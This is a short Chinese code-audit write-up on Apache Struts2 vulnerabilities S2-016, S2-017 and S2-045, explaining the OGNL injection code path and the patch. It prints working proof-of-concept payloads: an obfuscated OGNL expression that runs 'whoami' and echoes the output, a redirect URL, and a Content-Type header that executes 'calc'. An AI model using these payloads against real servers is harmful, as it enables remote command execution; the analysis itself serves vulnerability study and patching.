代码审计-Struts2漏洞分析
一、Struts2介绍
Struts2 是一个基于 MVC(Model-View-Controller) 设计模式的开源 Java Web 应用框架,由 Apache 软件基金会维护。它是 Struts1 和 WebWork 框架的整合产物,以 WebWork 为核心,通过拦截器机制实现业务逻辑与 Servlet API 的解耦,适用于构建企业级 Web 应用程序。
二、S2-016\S2-017
两个漏洞原理一样,S2-016可构造redirect传入命令,S2构造redirect传入url通过OGNL表达式执行,下面为分析过程。
通过DefaultActiionMapper 把命名空间key取出来
找到是redirect进入redirect方法里面,设置属性
讲参数传入this.location和param中
装饰OGNL表达式,传入expression参数
执行成功
S2-016 poc
${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('whoami'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter()
s2-017 poc
http://xxxxx.com/xxx.action?redirect:http:xxxx.com补丁分析:
if ((key.contains("action:")) || (key.contains("redirect:")) || (key.contains("redirectAction:"))) {
return;
三、S2-045
漏洞的本质就是content-type内容出现异常触发了表达式的执行
接入传入参数content_type
message数据传递
装饰OGNL表达式,传入expression参数
执行成功
poc
content-type:test multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundar